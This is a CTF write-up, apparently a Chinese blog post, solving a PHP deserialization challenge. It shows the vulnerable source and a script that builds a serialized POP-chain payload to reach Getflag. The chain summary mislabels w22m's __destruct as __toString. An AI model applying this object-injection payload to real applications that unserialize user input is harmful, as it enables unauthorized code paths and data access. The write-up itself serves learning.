SWPUCTF _pop
POP
题目代码:
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
使用倒退法,先找到获取到 flag 的地方,然后反推 pop 链 , 获取 flag 的方法在 w44m 类的 Getflag 方法中,那么就需要调用 w44m 类的 Getflag 方法。
在类 w33m 中存在 $this->w00m->{$this->w22m}();
代码,那么我们可以使 变量 w00m
指向 w44m 类 , w22m 指向 Getflag 方法,这样就可以调用 w44m 类的 Getflag 方法了。然而这个语句在 __toString 魔术方法中,所以需要找在哪里可以调用 __toString 方法。
那么只有在 w22m 中存在一个 echo 的语句,那么就可以调用 __toString 方法了。
最后完整的链子就是 w22m::__toString() -> w33m::__toString() -> w44m::Getflag()
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$a -> w00m = new w33m();
$a -> w00m -> w00m = new w44m();
$a -> w00m -> w22m = "Getflag";
echo urlencode(serialize($a));
echo "<br>";
作者:qianyuzz
出处:https://www.cnblogs.com/qianyuzz/p/18032727
版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!